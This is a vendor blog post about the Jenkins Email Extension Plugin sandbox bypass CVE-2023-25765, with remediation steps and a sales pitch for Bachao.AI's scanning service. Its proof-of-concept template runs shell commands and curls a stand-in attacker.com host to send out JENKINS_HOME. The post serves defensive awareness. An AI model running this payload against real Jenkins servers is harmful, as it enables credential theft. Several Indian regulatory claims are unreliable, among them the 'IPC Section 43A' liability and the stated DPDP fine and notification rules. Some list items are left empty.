Jenkins Email Plugin RCE: Why Your CI/CD Pipeline Needs Security

What Happened

In March 2023, a critical vulnerability was discovered in the Jenkins Email Extension Plugin (versions 2.93 and earlier) that allows attackers to completely bypass Jenkins' Script Security sandbox—a core protection mechanism designed to prevent malicious code execution.

The vulnerability, tracked as CVE-2023-25765, exists because email templates defined inside Jenkins folders were not subject to Script Security restrictions. This means an attacker with folder-level access could craft malicious email templates that execute arbitrary code directly in the Jenkins controller JVM (Java Virtual Machine).

To be clear: this isn't a minor bug. This is a remote code execution (RCE) vulnerability that could give an attacker complete control over your entire CI/CD pipeline, your build artifacts, your deployment credentials, and potentially your production infrastructure.

The attack vector is deceptively simple:

1. Attacker gains access to a Jenkins folder (could be through a compromised account, insider threat, or overly permissive folder permissions)
2. Attacker creates an innocent-looking email template
3. Inside that template, they embed Groovy code that bypasses the sandbox
4. When Jenkins executes jobs in that folder, the malicious code runs with full Jenkins controller privileges
5. Attacker now has access to all Jenkins credentials, secrets, build artifacts, and can pivot to production systems

Why This Matters for Indian Businesses

As someone who's reviewed hundreds of Indian SMB security postures, I can tell you: most Indian companies are running outdated Jenkins versions without proper CI/CD security audits. This vulnerability is particularly dangerous for Indian businesses for several reasons:

Regulatory Impact

Under the Digital Personal Data Protection (DPDP) Act, 2023, Indian businesses are required to implement reasonable security measures to protect personal data. If a Jenkins compromise leads to a data breach (which it almost certainly will, given the access it provides), your organization faces:

1. Fines up to Rs 5 crore
2. Mandatory breach notification within 72 hours (per DPDP Section 6)
3. CERT-In incident reporting within 6 hours of discovery
4. Potential criminal liability under IPC Section 43A

Real-World Risk for Indian SMBs

Here's what I've observed: Indian startups and SMBs often:

1. Share Jenkins instances across multiple teams (increasing blast radius)
2. Store production AWS/GCP credentials directly in Jenkins (no secrets manager)
3. Run Jenkins in permissive network configurations (accessible from the internet)
4. Don't monitor Jenkins logs or conduct security audits
5. Have outdated plugin versions because "it's working fine"

1. Complete infrastructure takeover: All your AWS/Azure/GCP credentials are in Jenkins
2. Supply chain attacks: Malicious code injected into your deployments
3. Customer data exfiltration: If your applications handle personal data
4. Ransomware: Attackers encrypting your entire build and production environment
5. Regulatory fines: DPDP Act violations, CERT-In reporting requirements

The Folder-Based Attack Angle

What makes CVE-2023-25765 particularly insidious is that it exploits folder-level permissions. In large organizations, you might have:

1. Team A managing /jenkins/folder/team-a/
2. Team B managing /jenkins/folder/team-b/

Technical Breakdown

Let me walk you through exactly how this vulnerability works:

The Script Security Sandbox (Normal Operation)

Jenkins has a built-in security layer called Script Security that restricts what Groovy scripts can do. By default:

1. Scripts cannot access the filesystem
2. Scripts cannot execute system commands
3. Scripts cannot access Java classes directly
4. All code is sandboxed

The Vulnerability: Folder-Level Templates Bypass the Sandbox

The Email Extension Plugin allows administrators to define email templates at the folder level. These templates are supposed to be static (just HTML/text), but they can contain Groovy expressions using ${...} syntax.

The bug: These folder-level templates were never checked by Script Security. They were treated as "trusted" content, similar to how Jenkins treats its own code.

Here's the attack flow:

graph TD
    A["Attacker: Compromised User or Insider"] -->|Step 1: Access Folder Config| B["Jenkins Folder Settings"]
    B -->|Step 2: Create Email Template| C["Email Template Editor"]
    C -->|Step 3: Inject Groovy Code| D["Malicious Template with Groovy"]
    D -->|Step 4: Job Runs in Folder| E["Job Execution"]
    E -->|Step 5: Template Processed| F["Groovy Code Executes"]
    F -->|Step 6: Sandbox Bypass| G["Full JVM Access"]
    G -->|Step 7: RCE| H["Attacker Controls Jenkins Controller"]
    H -->|Step 8: Lateral Movement| I["Access Credentials & Secrets"]
    I -->|Step 9: Production Compromise| J["Infrastructure Takeover"]

Proof of Concept (Simplified)

Here's what a malicious email template might look like:

// Malicious Email Template in Jenkins Folder
// This bypasses Script Security because it's folder-level

<html>
<body>
<h1>Build Report</h1>

<%
// This Groovy code executes with FULL Jenkins controller privileges
// Script Security sandbox is NOT applied here

String[] cmd = ["/bin/bash", "-c", "whoami > /tmp/pwned.txt"]
ProcessBuilder pb = new ProcessBuilder(cmd)
pb.start()

// Execute arbitrary system commands
String command = "curl http://attacker.com/exfil?data=" + 
    System.getenv("JENKINS_HOME")
Runtime.getRuntime().exec(command)

// Access all Jenkins credentials
jenkins.model.Jenkins.getInstance().getSecurityRealm()

%>

</body>
</html>

When a job in that folder runs and sends an email, the Groovy code executes without any sandbox restrictions.

Why This Works

1. Trust boundary violation: Folder-level templates were assumed to be "admin-only", but permissions weren't enforced
2. Template processing happens in controller: Email templates are processed by the Jenkins master/controller, not agents
3. Groovy evaluation: The Email Extension Plugin evaluates Groovy expressions in templates
4. No Script Security check: Unlike regular job scripts, folder templates skip the security checks

How to Protect Your Business

Immediate Actions (Do These Today)

1. Check Your Jenkins Version

# SSH into your Jenkins server
ssh jenkins-admin@your-jenkins-server.com

# Check Jenkins version
java -jar /var/lib/jenkins/jenkins.war --version

# Or check via Jenkins UI:
# Manage Jenkins → About Jenkins

If you're running Jenkins 2.x with Email Extension Plugin version 2.93 or earlier, you're vulnerable.

2. Audit Folder-Level Email Templates

# Find all folder configurations
find /var/lib/jenkins/jobs -name "config.xml" -type f | head -20

# Check each folder's email template
# Look for: <hudson.plugins.emailext.ExtendedEmailProjectProperty>
# Inside <folderProperties>, if present

grep -r "ExtendedEmailProjectProperty" /var/lib/jenkins/jobs/ | grep folder

3. Review Folder Permissions

# List all Jenkins folders and who has access
# Via Jenkins Script Console (Manage Jenkins → Script Console):

jenkins.model.Jenkins.getInstance().getAllItems(
    com.cloudbees.hudson.plugins.folder.Folder.class
).each { folder ->
    println "Folder: ${folder.fullName}"
    println "Creators: ${folder.getACL()}"
}

Quick Fix: Upgrade Email Extension Plugin

The official fix is to upgrade to Jenkins Email Extension Plugin version 2.94 or later.

Steps to Upgrade:

1. Backup your Jenkins home:

sudo cp -r /var/lib/jenkins /var/lib/jenkins.backup.$(date +%Y%m%d)

1. Via Jenkins UI (Recommended):

1. Via CLI (if needed):

# Stop Jenkins
sudo systemctl stop jenkins

# Remove old plugin
rm /var/lib/jenkins/plugins/email-ext.hpi

# Download new version
wget https://updates.jenkins.io/download/plugins/email-ext/2.94/email-ext.hpi \
  -O /var/lib/jenkins/plugins/email-ext.hpi

# Set permissions
sudo chown jenkins:jenkins /var/lib/jenkins/plugins/email-ext.hpi

# Start Jenkins
sudo systemctl start jenkins

Medium-Term Hardening

1. Disable Folder-Level Email Templates (If Not Needed)

// Jenkins Script Console
jenkins.model.Jenkins.getInstance().getAllItems(
    com.cloudbees.hudson.plugins.folder.Folder.class
).each { folder ->
    def prop = folder.properties.get(
        hudson.plugins.emailext.ExtendedEmailProjectProperty.class
    )
    if (prop != null) {
        println "Folder ${folder.fullName} has email template - REVIEW NEEDED"
        // Only remove if you're sure it's not needed
        // folder.properties.remove(prop)
    }
}

2. Restrict Folder Permissions

// Via Jenkins UI: Manage Jenkins → Configure System → Authorization
// Change from "Anyone can create jobs" to role-based permissions

// Use Jenkins Role Strategy Plugin:
// - Create role: "folder-admins"
// - Grant only to trusted users
// - Assign at folder level

3. Enable Jenkins Audit Logging

# Add to /var/lib/jenkins/jenkins.xml (Jenkins config)
# Or set JAVA_OPTS environment variable:

export JAVA_OPTS="-Djenkins.security.AuditTrail.enable=true"

# This logs all configuration changes
# Check logs at: Manage Jenkins → System Log → Audit Trail

4. Implement Secrets Management

Never store credentials directly in Jenkins!

// Use HashiCorp Vault or AWS Secrets Manager
// Jenkins Pipeline example:

pipeline {
    agent any
    
    environment {
        // Wrong way (DON'T DO THIS):
        // AWS_SECRET = credentials('hardcoded-secret')
        
        // Right way: Use Vault
        AWS_SECRET = credentials('vault-aws-secret')
    }
    
    stages {
        stage('Build') {
            steps {
                sh 'echo Using secret from Vault, not Jenkins'
            }
        }
    }
}

5. Monitor Jenkins Access Logs

# Monitor for suspicious folder template access
grep -i "folderProperties\|email.*template" /var/log/jenkins/jenkins.log

# Set up alerts for configuration changes
# Use ELK Stack or CloudWatch if Jenkins is in AWS

How Bachao.AI Would Have Prevented This

When I was architecting security for large enterprises, we had multiple layers of defense. This is exactly why I built Bachao.AI—to make that kind of protection accessible to Indian SMBs without the enterprise price tag.

Here's how our platform would have caught and prevented CVE-2023-25765:

1. VAPT Scan — Free Vulnerability Assessment

1. Jenkins version 2.x with Email Extension Plugin < 2.94
2. Folder-level email templates with Groovy code
3. Overly permissive folder permissions
4. Jenkins accessible from the internet without proper authentication

[CRITICAL] Jenkins Email Extension Plugin 2.93 - CVE-2023-25765
Severity: 9.8 (CVSS)
Status: VULNERABLE
Recommendation: Upgrade to 2.94 or later immediately

[HIGH] Folder-level email templates detected
Location: /jenkins/folder/team-a/config.xml
Risk: Sandbox bypass possible
Action: Review and remove if not needed

Cost: Free tier covers basic scans; comprehensive assessment is Rs 1,999 Time to detect: Real-time

2. Cloud Security — AWS/GCP/Azure Audit

1. Audit IAM roles assigned to Jenkins instances
2. Verify Jenkins isn't storing credentials in environment variables
3. Check for exposed Jenkins ports (8080, 50000)
4. Monitor for suspicious credential access patterns

[CRITICAL] Jenkins EC2 instance has overly permissive IAM role
Role: jenkins-prod-role
Permissions: s3:*, ec2:*, iam:*
Risk: Compromised Jenkins = full AWS access
Action: Implement least-privilege IAM policy

3. API Security — Pipeline & Webhook Monitoring

1. Job triggers
2. Credential retrieval
3. Plugin communication

1. Identify unauthenticated Jenkins API endpoints
2. Flag deprecated authentication methods
3. Detect unusual API access patterns (potential exploitation)

[HIGH] Jenkins API accessible without authentication
Endpoint: http://jenkins.company.com/api/json
Access: Public (no auth required)
Risk: Attacker can enumerate jobs, folders, credentials
Action: Enable authentication, use API tokens

4. Dark Web Monitoring — Credential Leak Detection

1. We monitor dark web forums, paste sites, and credential databases
2. Alert you within minutes of a leak
3. Provide IoCs (Indicators of Compromise)

5. Security Training — Phishing & Insider Threat Awareness

1. Phishing simulations targeting DevOps teams
2. Jenkins security best practices
3. Credential hygiene training
4. Social engineering awareness

The Bottom Line

CVE-2023-25765 is a reminder that even "internal" tools like Jenkins require rigorous security audits. A single misconfiguration or outdated plugin can compromise your entire infrastructure.

For Indian SMBs:

1. Check your Jenkins version today
2. Upgrade Email Extension Plugin to 2.94+
3. Review folder permissions and email templates
4. Implement secrets management (not hardcoded credentials)
5. Enable audit logging and monitoring
6. Conduct regular security assessments

Book Your Free VAPT Scan → Let us audit your Jenkins infrastructure and identify similar vulnerabilities before attackers do.

Bachao.AI analyzes cybersecurity incidents daily to help Indian businesses stay protected. Our VAPT Scan identifies vulnerabilities like CVE-2023-25765 in minutes, not months.

Quick Reference: CVE-2023-25765

Originally reported by NIST NVD

Written by Shouvik Mukherjee, Founder & CEO of Bachao.AI. Follow me on LinkedIn for daily cybersecurity insights for Indian businesses.